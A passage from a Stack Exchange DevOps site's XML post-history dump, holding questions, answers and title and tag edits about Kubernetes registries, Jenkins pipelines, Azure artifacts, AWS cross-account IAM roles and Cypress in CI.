2m38s (x21 over 7m51s)  kubelet, gke-your-first-cluster-1-pool-1-fe915942-gnkx  Error: ImagePullBackOff&#xD;&#xA;```&#xD;&#xA;It gives a `no such host` error.&#xD;&#xA;&#xD;&#xA;A Nuclio developer has confirmed that it's not a nuclio issue since I cannot even do a `docker login` from the Nuclio Admin pod(not the failed pod above) to this internal `docker-registry.default` though I can do a `docker login` to the Docker hub and a `wget` to `docker-registry.default` successfully. The Nuclio Admin pod is Alpine Linux if it helps.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31753" PostHistoryTypeId="1" PostId="10349" RevisionGUID="b457d06c-0f61-4086-a283-5ad211dde7d5" CreationDate="2019-12-31T14:21:52.257" UserId="12267" Text="No Such Host: Kubernetes/Docker cannot pull from private k8 registry" ContentLicense="CC BY-SA 4.0" />
  <row Id="31754" PostHistoryTypeId="3" PostId="10349" RevisionGUID="b457d06c-0f61-4086-a283-5ad211dde7d5" CreationDate="2019-12-31T14:21:52.257" UserId="12267" Text="&lt;docker&gt;&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31755" PostHistoryTypeId="34" PostId="9887" RevisionGUID="58551530-ce21-4ab9-a980-cb2faa3a2c13" CreationDate="2019-12-31T15:10:01.357" UserId="210" Comment="49" />
  <row Id="31756" PostHistoryTypeId="34" PostId="10164" RevisionGUID="8f8c097c-e807-4518-8ed9-0fe3a8208f32" CreationDate="2019-12-31T15:10:15.000" UserId="210" Comment="48" />
  <row Id="31760" PostHistoryTypeId="2" PostId="10351" RevisionGUID="84f35aa2-157a-4bc9-934c-2fca39cf9364" CreationDate="2019-12-31T15:26:27.783" UserId="9148" Text="I hope this helps. We had a similar issue and solved it using the below method.&#xD;&#xA;&#xD;&#xA;Our project contains about 12 or so different components (programs) that we wanted to build in parallel. Because some take longer than others, we decided to break them up into 4 individual &quot;tracks&quot; that would run in parallel. To begin, assume we have an array where each element is a new component object. The object has some properties, like name for the name of the component and track for which track, 1, 2, 3, or 4, that the component is assigned to. I'm not focusing on this part as it's probably not relevant to what you're trying to do. &#xD;&#xA;&#xD;&#xA;First we define our `createParallelStage` function which iterates over an ArrayList of components, setting them up to build.&#xD;&#xA;&#xD;&#xA;    def createParallelStage(ArrayList components) {&#xD;&#xA;        return{&#xD;&#xA;            // iterate over list of components objects&#xD;&#xA;            components.each { component -&gt;&#xD;&#xA;                dir(buildFolder) {&#xD;&#xA;                    // build the component&#xD;&#xA;                    sh &quot;./build.sh ${component}&quot;&#xD;&#xA;&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;We'll use a list of component objects called BuildComponents, iterate over them, and add them to `parallelGroups[i]` where `i` is the value of the objects `track` property&#xD;&#xA;&#xD;&#xA;    BuildComponents.each { component -&gt;&#xD;&#xA;        parallelGroups[component.track].add(component.name)&#xD;&#xA;        echo &quot;${component.name} is going to parallel track ${component.track}&quot;&#xD;&#xA;        // example: IPCService is going to parallel track 3&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;We're now left with iterating over `parallelGroups`, passing each element to `createParallelStage()` while adding it to the `parallelStages` ArrayList.&#xD;&#xA;&#xD;&#xA;    parallelGroups.each{i, component -&gt;&#xD;&#xA;        parallelStages.put(i, createParallelStage(component))&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;We then set `failFast` to true, so if any of our components fail, the whole build job will fail, and then pass our list of `parallelStages` to the `parallel()` function.&#xD;&#xA;&#xD;&#xA;    parallelStages.failFast = true&#xD;&#xA;    parallel(parallelStages)&#xD;&#xA;&#xD;&#xA;I hope this was specific to the question you were asking. I wish I could be a little more detailed, but then it might be too specific of a solution to work for you." ContentLicense="CC BY-SA 4.0" />
  <row Id="31761" PostHistoryTypeId="2" PostId="10352" RevisionGUID="4bcbe83f-22a4-41f1-afdc-4541342e1244" CreationDate="2019-12-31T15:52:36.257" UserId="9148" Text="So you want to deploy a desktop application to a Windows machine? Looking through the rest of the documentation, the following links may be helpful:&#xD;&#xA;&#xD;&#xA;1. [Windows Machine File Copy task][1]&#xD;&#xA;2. [Build, test, and deploy .NET Core Apps][2]&#xD;&#xA;&#xD;&#xA;I can't tell for sure, but you might just be looking for a way for users to download the build artifacts. If that's the case, this [link on Build Artifacts][3] may help.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/azure/devops/pipelines/tasks/deploy/windows-machine-file-copy&#xD;&#xA;  [2]: https://docs.microsoft.com/en-us/azure/devops/pipelines/ecosystems/dotnet-core&#xD;&#xA;  [3]: https://docs.microsoft.com/en-us/azure/devops/pipelines/artifacts/build-artifacts?view=azure-devops&amp;tabs=yaml" ContentLicense="CC BY-SA 4.0" />
  <row Id="31762" PostHistoryTypeId="2" PostId="10353" RevisionGUID="aa75c17f-386f-493b-934f-76501768346f" CreationDate="2019-12-31T16:23:42.650" UserId="18885" Text="I have an organization with a master account (account A) and a second account (account B).&#xD;&#xA;I want to create a role so all instances in account B will have read permission from everything in account A.&#xD;&#xA;For example, EKS in account B will be able to pull from ECR in account A. Or a resource in account B will be able to read data from an RDS or S3 in account A.&#xD;&#xA;&#xD;&#xA;How can I create a role and apply it to all current and future resource in account B so they will have complete read assess to resources in account A?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31763" PostHistoryTypeId="1" PostId="10353" RevisionGUID="aa75c17f-386f-493b-934f-76501768346f" CreationDate="2019-12-31T16:23:42.650" UserId="18885" Text="How to grant all resources in an AWS account the ability to assume role?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31764" PostHistoryTypeId="3" PostId="10353" RevisionGUID="aa75c17f-386f-493b-934f-76501768346f" CreationDate="2019-12-31T16:23:42.650" UserId="18885" Text="&lt;amazon-web-services&gt;&lt;role-based-access-control&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31765" PostHistoryTypeId="2" PostId="10354" RevisionGUID="eeffc6fb-6497-48d0-92ff-25003ae4b2c8" CreationDate="2019-12-31T16:58:45.333" UserId="15792" Text="You have multiple [storage solutions][2] in Azure (i.e. blob, file system).  All of these integrate with Pipelines and are good target locations for your build artifacts.  Now that you have the build you just need to figure out how people are going to use/install what was built.&#xD;&#xA;&#xD;&#xA;There are several possible answers depending on what you are trying to accomplish:&#xD;&#xA;&#xD;&#xA; - Even though this is an internal application, do not discount the use of a VM.  You can deploy to the VM (following the linked guides they actually have), and from there give your users remote access to it.  So basically if someone needs to use the app they can remote in.&#xD;&#xA; - Is your build artifact an installer?  If so have your pipeline store it in a place where people can access it (e.g. [Azure blob][1]).  They can then install it themselves.&#xD;&#xA; - You could copy the build artifact to target machines as build step.&#xD;&#xA; - You could modify the app to have an update functionality that checks a server for a new version.  When your build pipeline creates the new files, increment the version number.  When the desktop app &quot;polls&quot; for a new version it can download it from the server.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/azure/storage/blobs/storage-quickstart-blobs-dotnet&#xD;&#xA;  [2]: https://azure.microsoft.com/en-us/services/storage/" ContentLicense="CC BY-SA 4.0" />
  <row Id="31766" PostHistoryTypeId="2" PostId="10355" RevisionGUID="7454d86d-3ec1-429b-96ff-2b1a774c4b36" CreationDate="2019-12-31T17:22:23.233" UserId="6" Text="There are several ways to enable access, and your question touches on more than one.&#xD;&#xA;&#xD;&#xA;First method, is giving EC2 instances access to do API calls with the AWS API in another account. For this, the instances would need the appropriate IAM credentials. You can assign an IAM Role to an instance. The relationship is then &quot;IAM Policy&quot; -&gt; &quot;IAM Role&quot; -&gt; &quot;IAM Instance Profile&quot; -&gt; &quot;EC2 Instance&quot;. This Policy can give permission for this instance to do the `sts:AssumeRole` API call in the account of this IAM/EC2, and assume a role in the second account. https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html&#xD;&#xA;&#xD;&#xA;I have not tested this, but as far as I know, while the above description is correct - it will not work with the `sts:AssumeRole` API since it requires non-temporary (non-session) credentials. And the credentials provided to the EC2 instance are in fact `sts:GetSessionToken` type of credentials provided to it via the EC2 metadata service.&#xD;&#xA;&#xD;&#xA;The same applies to worker nodes, and pods, running in EKS. There is a way to enable this for EKS that is described in details in the documentation. https://docs.aws.amazon.com/eks/latest/userguide/security-iam.html&#xD;&#xA;&#xD;&#xA;On the other hand, if all you need is to access RDS and talk to your MySQL/PostgreSQL database - you don't need any IAM credentials. Just a clear path through the network where security groups allow these instances to access the RDS database. In EC2 and RDS, security groups allow to include foreign-account security groups as a filter for &quot;source IP addresses&quot;. So when you choose to do something like that, you don't really need to specify the IP address of your EC2 instance where the application is executed, but rather just specify which security group is being used by that instance, with the addition of the account number. https://docs.aws.amazon.com/vpc/latest/peering/vpc-peering-security-groups.html&#xD;&#xA;&#xD;&#xA;The S3 service does require IAM credentials to write/read data from it, but in this case it also allows to specify a permissions policy on the S3 bucket itself. So while the above method of `sts:AssumeRole` credentials might not work, you can create S3 buckets that do allow access from a peer account. https://aws.amazon.com/premiumsupport/knowledge-center/cross-account-access-s3/&#xD;&#xA;&#xD;&#xA;Very similar to this, the ECR service also has an option to allow the `GetLogin` API call from another account. https://aws.amazon.com/premiumsupport/knowledge-center/secondary-account-access-ecr/&#xD;&#xA;&#xD;&#xA;And naturally the simplest way, is to provide credentials directly to EC2 instances. This can be done either by writing them into a file. For example the `aws` CLI is using the file `~/.aws/credentials`, and it allows to specify multiple named profiles so you can specify which account needs to be controlled. https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-profiles.html&#xD;&#xA;&#xD;&#xA;Another alternative, is to create a service that is a &quot;Credentials ATM Machine&quot;. One excellent tool for doing this is HashiCorp Vault https://www.hashicorp.com/resources/deep-dive-vault-aws-auth-backend. AWS even has a QuickStart CloudFormation template to deploy Vault in your account. https://aws.amazon.com/quickstart/architecture/vault/" ContentLicense="CC BY-SA 4.0" />
  <row Id="31767" PostHistoryTypeId="10" PostId="9" RevisionGUID="fa0e726c-daa1-44c2-8895-268227addcc2" CreationDate="2019-12-31T17:57:15.887" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31768" PostHistoryTypeId="5" PostId="9" RevisionGUID="418344a7-04ac-46f1-9683-3c3d988efc24" CreationDate="2019-12-31T17:57:26.200" UserId="210" Comment="deleted 5 characters in body" Text="How to deploy a custom build of a core plugin bundled in Jenkins?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31769" PostHistoryTypeId="5" PostId="374" RevisionGUID="b2eb5984-40dc-40a8-ad76-94b406f90f90" CreationDate="2019-12-31T17:59:00.400" UserId="210" Comment="added 3 characters in body" Text="Question inspired by https://devops.stackexchange.com/questions/341/how-to-persuade-developers-to-start-using-feature-flag-toggles/343#343&#xD;&#xA;&#xD;&#xA;&gt; - Find a feature toggle framework. Management/the business may be more amenable to trying something supported by a common system&#xD;&#xA;&#xD;&#xA;and this comment on it:&#xD;&#xA;&#xD;&#xA;&gt; &#xD;&#xA;&gt;  +1 for the framework bit. I've seen too many people roll their own&#xD;&#xA;&gt; feature toggles and it's always nasty, nasty code. – Jduv 4 hours ago&#xD;&#xA;&#xD;&#xA;So which are those feature toggle frameworks?&#xD;&#xA;&#xD;&#xA;Pointers to the official framework sites are mandatory, but also at least some quotes from the site with a short description and maybe a summary of its features to not make them link-only answers.&#xD;&#xA;&#xD;&#xA;Comments about the personal experiences in using the frameworks are welcome.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31770" PostHistoryTypeId="5" PostId="344" RevisionGUID="d6569283-299e-4c83-b027-6c10863301cb" CreationDate="2019-12-31T17:59:20.947" UserId="210" Comment="deleted 3 characters in body" Text="There are some questions about **`feature flag toggles`**, such as:&#xD;&#xA;&#xD;&#xA;- https://devops.stackexchange.com/q/341/40&#xD;&#xA;- https://devops.stackexchange.com/q/162/40&#xD;&#xA;&#xD;&#xA;**Questions**:&#xD;&#xA;&#xD;&#xA;- What is actually a &quot;feature flag toggle&quot; (in the context of DevOps)?&#xD;&#xA;- Why are they used?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31771" PostHistoryTypeId="5" PostId="351" RevisionGUID="4fd02df8-9ecd-4db9-8b0c-6b8216b0b6fb" CreationDate="2019-12-31T17:59:56.253" UserId="210" Comment="deleted 4 characters in body" Text="One method of continuous deployment is to decouple deployment from release, i.e. deploy updates without activating the changes immediately.&#xD;&#xA;&#xD;&#xA;I know that [tag:feature-toggles] can be used for this, but I'm wondering if there are other techniques for &quot;non-features&quot;.&#xD;&#xA;&#xD;&#xA;For example, would you build a feature toggle for a bugfix? Probably not and one could argue that bugfixes should be deployed as soon as possible, because it can only get better. And after a bugfix has been released, I sure don't want to toggle it off anymore.&#xD;&#xA;But is this the case? It might be a risky change that you want to release in a controlled way. And if there *are* unexpected side effects, it's good to be able to roll it back. So, feature flags for every change?&#xD;&#xA;&#xD;&#xA;And what about visual changes? For example, can you implement something like a feature flag in CSS? Does it even make sense?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31772" PostHistoryTypeId="4" PostId="309" RevisionGUID="935b85a9-a495-4257-80ae-6c07c9ee7712" CreationDate="2019-12-31T18:00:15.353" UserId="210" Comment="edited title" Text="How to safeguard Ansible deployment to mitigate accidents?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31773" PostHistoryTypeId="5" PostId="2275" RevisionGUID="3f626fff-7905-4fe6-901c-9264ed8ab14f" CreationDate="2019-12-31T18:04:21.407" UserId="210" Comment="deleted 4 characters in body" Text="I would like to know how everyone is making external backups of **S3** buckets and best practices/recommendations for this. Regardless of how good **AWS** is it is still a single point of failure.&#xD;&#xA;&#xD;&#xA;Especially on a more corporate scale, vast amounts of buckets that are very large.&#xD;&#xA;&#xD;&#xA;The **S3** buckets functionality seems to be very limited.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**My resolution was the following**:&#xD;&#xA;&gt; The way I'm looking at doing this now is by downloading the data to an external server (**bare-metal** as **EC2** instance is a lot more expensive) and then pushing that to my backups provider.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31774" PostHistoryTypeId="4" PostId="2275" RevisionGUID="928da0de-f3e3-4a41-979e-d1315747b06d" CreationDate="2019-12-31T18:13:18.667" UserId="210" Comment="edited tags; edited title" Text="Best practices for external backups for S3 buckets?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31775" PostHistoryTypeId="6" PostId="2275" RevisionGUID="928da0de-f3e3-4a41-979e-d1315747b06d" CreationDate="2019-12-31T18:13:18.667" UserId="210" Comment="edited tags; edited title" Text="&lt;amazon-s3&gt;&lt;storage&gt;&lt;backup&gt;&lt;disaster-recovery-plans&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31776" PostHistoryTypeId="5" PostId="3708" RevisionGUID="16898d30-7608-41b3-b2f9-208361bf156e" CreationDate="2019-12-31T18:14:34.230" UserId="210" Comment="deleted 3 characters in body" Text="The Azure Automation DSC seems to know to integrate with GitHub, but it seems to expect only runbooks there. At least, this is what I understand from the following UI screen:&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;I have just started to learn DSC and have no runbooks. So far I only used DSC configurations, no runbooks.&#xD;&#xA;&#xD;&#xA;So, is it only possible for runbooks? Does it mean that nobody works with just DSC configurations?&#xD;&#xA;&#xD;&#xA;**P.S.** Knowing that DSC stands for Desired State **Configuration** I find the term DSC **configurations** a bit funny. &#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/6NFDk.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="31777" PostHistoryTypeId="4" PostId="5248" RevisionGUID="1be2374f-a160-4a72-bf07-fad2c010a52a" CreationDate="2019-12-31T18:15:25.140" UserId="210" Comment="edited title" Text="How to execute an ansible playbook using a jenkins pipeline script?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31778" PostHistoryTypeId="10" PostId="8818" RevisionGUID="a58e408f-d041-413f-a0c3-e80fb7ac5dc0" CreationDate="2019-12-31T18:15:53.787" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31780" PostHistoryTypeId="2" PostId="10356" RevisionGUID="5e45420f-ed69-47c7-8c99-2eac59761ced" CreationDate="2019-12-31T18:19:29.547" UserId="210" Text="In Jenkins one has to create a private key and add it to the master. If an agent is called and a build is started, then this key is used. This means that one does NOT have to create a key for every agent. I assume that this should be possible in Bamboo as well. At least that is what I personally expect from a CI/CD system. " ContentLicense="CC BY-SA 4.0" />
  <row Id="31781" PostHistoryTypeId="2" PostId="10357" RevisionGUID="87fc9e9e-2943-497e-8e4e-17a84e24dda0" CreationDate="2019-12-31T18:23:25.130" UserId="210" Text="Yes Cypress is capable to run in CI.&#xD;&#xA;&#xD;&#xA;https://docs.cypress.io/guides/guides/continuous-integration.html#Record-tests&#xD;&#xA;&#xD;&#xA;Most of the time it is just running `cypress run`. In our case we ran the docker cypress." ContentLicense="CC BY-SA 4.0" />
  <row Id="31782" PostHistoryTypeId="6" PostId="9095" RevisionGUID="1c240038-9c04-48d2-a15a-7bf5b31be547" CreationDate="2019-12-31T18:23:40.487" UserId="210" Comment="edited tags" Text="&lt;cicd&gt;&lt;php&gt;&lt;regression&gt;&lt;unit-testing&gt;&lt;cypress&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31783" PostHistoryTypeId="2" PostId="10358" RevisionGUID="ccf924ca-34e8-40d6-a0a7-c4036fadceae" CreationDate="2019-12-31T18:24:19.283" UserId="210" Text="Website: https://www.cypress.io/" ContentLicense="CC BY-SA 4.0" />
  <row Id="31784" PostHistoryTypeId="1" PostId="10358" RevisionGUID="ccf924ca-34e8-40d6-a0a7-c4036fadceae" CreationDate="2019-12-31T18:24:19.283" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="31785" PostHistoryTypeId="2" PostId="10359" RevisionGUID="061ffc2b-3487-42a8-aaea-23364361b3ea" CreationDate="2019-12-31T18:24:19.283" UserId="210" Text="Use this tag if a question is about Cypress." ContentLicense="CC BY-SA 4.0" />
  <row Id="31786" PostHistoryTypeId="1" PostId="10359" RevisionGUID="061ffc2b-3487-42a8-aaea-23364361b3ea" CreationDate="2019-12-31T18:24:19.283" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="31788" PostHistoryTypeId="2" PostId="10360" RevisionGUID="9bebcd15-8a98-4f5c-a9f9-36463e5db407" CreationDate="2019-12-31T18:25:14.820" UserId="18486" Text="The answer was that my IAM configuration did not include a Task Role, only a Task Execution Role.  I needed to add a Task Role which included the permissions I needed to access SSM, and then it worked." ContentLicense="CC BY-SA 4.0" />
  <row Id="31794" PostHistoryTypeId="6" PostId="230" RevisionGUID="5323b6ed-0be8-4884-bd19-a18322339093" CreationDate="2019-12-31T18:31:54.470" UserId="210" Comment="edited tags" Text="&lt;culture&gt;&lt;branch&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31795" PostHistoryTypeId="6" PostId="171" RevisionGUID="322d6d43-ee82-47a9-909a-3be5970c2359" CreationDate="2019-12-31T18:32:55.927" UserId="210" Comment="edited tags" Text="&lt;deployment&gt;&lt;culture&gt;&lt;repository&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31796" PostHistoryTypeId="6" PostId="478" RevisionGUID="eef8ddf3-8f93-4adb-bbe0-e7f05505a576" CreationDate="2019-12-31T18:34:14.143" UserId="210" Comment="edited tags" Text="&lt;culture&gt;&lt;job-role&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31797" PostHistoryTypeId="6" PostId="142" RevisionGUID="3bc76be5-19ef-4f5d-bfaf-80bed395d58d" CreationDate="2019-12-31T18:34:35.203" UserId="210" Comment="edited tags" Text="&lt;automation&gt;&lt;amazon-s3&gt;&lt;amazon-kms&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31798" PostHistoryTypeId="4" PostId="419" RevisionGUID="24fb483b-a4de-433b-95b7-d0d9aa360c9c" CreationDate="2019-12-31T18:36:51.453" UserId="210" Comment="edited title" Text="How to investigate a main process that has died in a docker container?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31799" PostHistoryTypeId="6" PostId="494" RevisionGUID="9f17e2ce-291d-4a17-813b-960a6b3a3148" CreationDate="2019-12-31T18:37:53.760" UserId="210" Comment="edited tags" Text="&lt;continuous-deployment&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31800" PostHistoryTypeId="4" PostId="480" RevisionGUID="843b2e71-f23a-4df4-bde2-5b4a5a0ddd54" CreationDate="2019-12-31T18:38:09.040" UserId="210" Comment="edited title" Text="How can Jenkins help to implement CI/CD for Drupal?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31801" PostHistoryTypeId="4" PostId="40" RevisionGUID="5d346286-87e2-4498-abbf-1d2136836877" CreationDate="2019-12-31T18:38:28.813" UserId="210" Comment="edited title" Text="How to promote a build when certain value in output is above threshold?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31802" PostHistoryTypeId="6" PostId="411" RevisionGUID="0e3c4a82-cf96-4f28-bfef-ae2d6c751d19" CreationDate="2019-12-31T18:38:44.927" UserId="210" Comment="edited tags" Text="&lt;culture&gt;&lt;systems&gt;&lt;the-phoenix-project&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31803" PostHistoryTypeId="6" PostId="387" RevisionGUID="213af951-f890-4d6d-8335-3e0c9adec4f9" CreationDate="2019-12-31T18:38:55.773" UserId="210" Comment="edited tags" Text="&lt;culture&gt;&lt;metrics&gt;&lt;systems&gt;&lt;the-phoenix-project&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31804" PostHistoryTypeId="6" PostId="106" RevisionGUID="7e4c5123-85d0-4e67-9285-7c80b6fefb03" CreationDate="2019-12-31T18:39:49.757" UserId="210" Comment="edited tags" Text="&lt;ansible&gt;&lt;git&gt;&lt;automation&gt;&lt;ansible-vault&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31805" PostHistoryTypeId="5" PostId="536" RevisionGUID="8925736b-574f-441a-9825-1a4db9d1b78e" CreationDate="2019-12-31T18:40:15.143" UserId="210" Comment="added 7 characters in body" Text="We have Atlassian Bamboo running on Ubuntu. When a developer is setting up a build, then he or she has the possibility to run shell script tasks. This is useful to run (custom) commands on the codebase you are building.&#xD;&#xA;&#xD;&#xA;However, the scripts that run can also access the filesystem outside their job directory in the Bamboo working directory (`&lt;Bamboo-home-dir&gt;/xml-data/build-dir/JOB_KEY`). So JOB_A can also access files of JOB_B: `cd ../JOB_B`.&#xD;&#xA;&#xD;&#xA;Is there a possibility to restrict this access?&#xD;&#xA;&#xD;&#xA;P.S. I am aware of the fact that builds are ran by (local or remote) agents in Bamboo and you can build different projects by different agents. However, if two projects are built by the same agent, the projects could access each other's files." ContentLicense="CC BY-SA 4.0" />
  <row Id="31806" PostHistoryTypeId="6" PostId="513" RevisionGUID="6d0be4db-88a0-44f5-b0d9-fcdfe43bf30e" CreationDate="2019-12-31T18:41:19.397" UserId="210" Comment="edited tags" Text="&lt;automation&gt;&lt;testing&gt;&lt;configuration&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31807" PostHistoryTypeId="4" PostId="59" RevisionGUID="4bb46b84-d6ae-492e-9ce2-041b8a099b80" CreationDate="2019-12-31T18:45:14.077" UserId="210" Comment="edited title" Text="Is it possible to autodeploy on every commit in a specific branch using Travis CI and GitHub?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31808" PostHistoryTypeId="6" PostId="550" RevisionGUID="318cff73-a1f3-4565-9a45-a3f643ef74f3" CreationDate="2019-12-31T18:46:25.523" UserId="210" Comment="edited tags" Text="&lt;terminology&gt;&lt;culture&gt;&lt;infrastructure-as-code&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31809" PostHistoryTypeId="4" PostId="226" RevisionGUID="b0d66085-adcc-4e84-a1c6-8303f588dded" CreationDate="2019-12-31T18:49:26.417" UserId="210" Comment="edited title" Text="How to implement Continuous Deployment in Angular, PHP API and Ansible projects?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31810" PostHistoryTypeId="4" PostId="370" RevisionGUID="addaa500-b4cb-423a-a5ba-e8ad6dc09187" CreationDate="2019-12-31T18:50:10.347" UserId="210" Comment="edited title" Text="How to communicate queue-based processing delays to non-technical team members?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31811" PostHistoryTypeId="4" PostId="383" RevisionGUID="5395ceed-d3e9-42d1-b4b7-b4318e103d63" CreationDate="2019-12-31T18:51:05.987" UserId="210" Comment="edited title" Text="What is the difference between feature flags and feature toggles (if any)?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31812" PostHistoryTypeId="5" PostId="348" RevisionGUID="540d5bfb-bfe3-4887-a8a2-2759d3796b70" CreationDate="2019-12-31T18:51:39.143" UserId="210" Comment="added 4 characters in body" Text="I would like to understand the differences between Puppet and Ansible, especially what kind of Puppet limitations has in comparison to Ansible.&#xD;&#xA;&#xD;&#xA;Are there any things you cannot do it in Puppet, but you can in Ansible? In other words, why some people moving away from Puppet to Ansible?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31813" PostHistoryTypeId="5" PostId="504" RevisionGUID="d055fc2f-1871-46bd-bbd1-713274ebb328" CreationDate="2019-12-31T19:05:26.050" UserId="210" Comment="deleted 2 characters in body" Text="This is a similar question like the [Statistics Conferences question at CrossValidated][1]&#xD;&#xA;&#xD;&#xA;What are the Devops or Devops-related conferences happening around the world?&#xD;&#xA;&#xD;&#xA;Rules:&#xD;&#xA;&#xD;&#xA; - Include a link to the conference&#xD;&#xA; - Please include links for the talks, e.g. youtube, the conference site or some other video streaming site&#xD;&#xA;&#xD;&#xA;  [1]: https://stats.stackexchange.com/questions/1904/statistics-conferences" ContentLicense="CC BY-SA 4.0" />
  <row Id="31814" PostHistoryTypeId="5" PostId="10" RevisionGUID="01c5b8ab-53f7-4dd9-b206-14aa85e20642" CreationDate="2019-12-31T19:05:57.890" UserId="210" Comment="deleted 16 characters in body" Text="I am working with Digital Ocean and Terraform and I already can automate the domain, subdomain, network preferences and the host but there is a section called `User data` that looks like this:&#xD;&#xA;&#xD;&#xA;[![User data][1]][1]&#xD;&#xA;&#xD;&#xA;The description of that field says `Allows the use of Cloud-init to configure your droplet`. Looking around I found the [documentation][2].&#xD;&#xA;&#xD;&#xA;How to take advantage of this while using [Terraform][3]?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/fPCZ4.png&#xD;&#xA;  [2]: https://cloudinit.readthedocs.io/en/latest/&#xD;&#xA;  [3]: https://www.terraform.io/" ContentLicense="CC BY-SA 4.0" />
  <row Id="31815" PostHistoryTypeId="6" PostId="531" RevisionGUID="5fa10354-8ed2-433e-abe2-0e9ef7eae57e" CreationDate="2019-12-31T19:06:20.167" UserId="210" Comment="edited tags" Text="&lt;terminology&gt;&lt;culture&gt;&lt;toolchain&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31816" PostHistoryTypeId="4" PostId="615" RevisionGUID="54c1f729-dbed-45ac-b464-63d86c82fdb8" CreationDate="2019-12-31T19:06:39.483" UserId="210" Comment="edited title" Text="How to set up AWS Trusted Advisor alert for Service Limit warnings?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31817" PostHistoryTypeId="4" PostId="621" RevisionGUID="97cb7882-b123-46b0-a8f8-6fe298b33cfd" CreationDate="2019-12-31T19:06:56.957" UserId="210" Comment="edited title" Text="How to automate submission to Amazon Marketplace?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31818" PostHistoryTypeId="6" PostId="630" RevisionGUID="5450d791-c3fc-4e60-9c48-07c1cf190aee" CreationDate="2019-12-31T19:07:07.923" UserId="210" Comment="edited tags" Text="&lt;culture&gt;&lt;agile&gt;&lt;environments&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31819" PostHistoryTypeId="4" PostId="398" RevisionGUID="4970467e-181e-49f4-8deb-59331edb3552" CreationDate="2019-12-31T19:07:25.570" UserId="210" Comment="edited title" Text="How can successfully pre-verified changes cause regressions that should have been caught?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31820" PostHistoryTypeId="4" PostId="543" RevisionGUID="02d1d06f-4389-40a0-a59f-020ef1446f91" CreationDate="2019-12-31T19:07:48.643" UserId="210" Comment="edited title" Text="How to storing encrypted secrets in code for a serverless.com project?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31821" PostHistoryTypeId="5" PostId="599" RevisionGUID="492f4fc9-c52b-4d09-adf6-b9f637619e11" CreationDate="2019-12-31T19:09:03.747" UserId="210" Comment="added 2 characters in body" Text="I am looking for a university that has a good PhD program in theoretical DevOps topics. Especially any program that is trying to advance the beyond Deming's Theory of Profound Knowledge, Goldratt's Theory of Constraints and other related topics. Do you know a professor specifically interested in running a program like that and currently doing advanced research in this field?&#xD;&#xA;&#xD;&#xA;I have found some companies, which do consulting in this area and try to push it forward, but I am having problems to find some program in academic setting with sufficient credibility." ContentLicense="CC BY-SA 4.0" />
  <row Id="31822" PostHistoryTypeId="6" PostId="662" RevisionGUID="84eca6dc-8ffb-493c-afbd-6c68952b75bd" CreationDate="2019-12-31T19:09:19.100" UserId="210" Comment="edited tags" Text="&lt;amazon-web-services&gt;&lt;ansible&gt;&lt;aws-vpc&gt;&lt;rabbitmq&gt;" ContentLicense="CC BY-SA 4.0" />
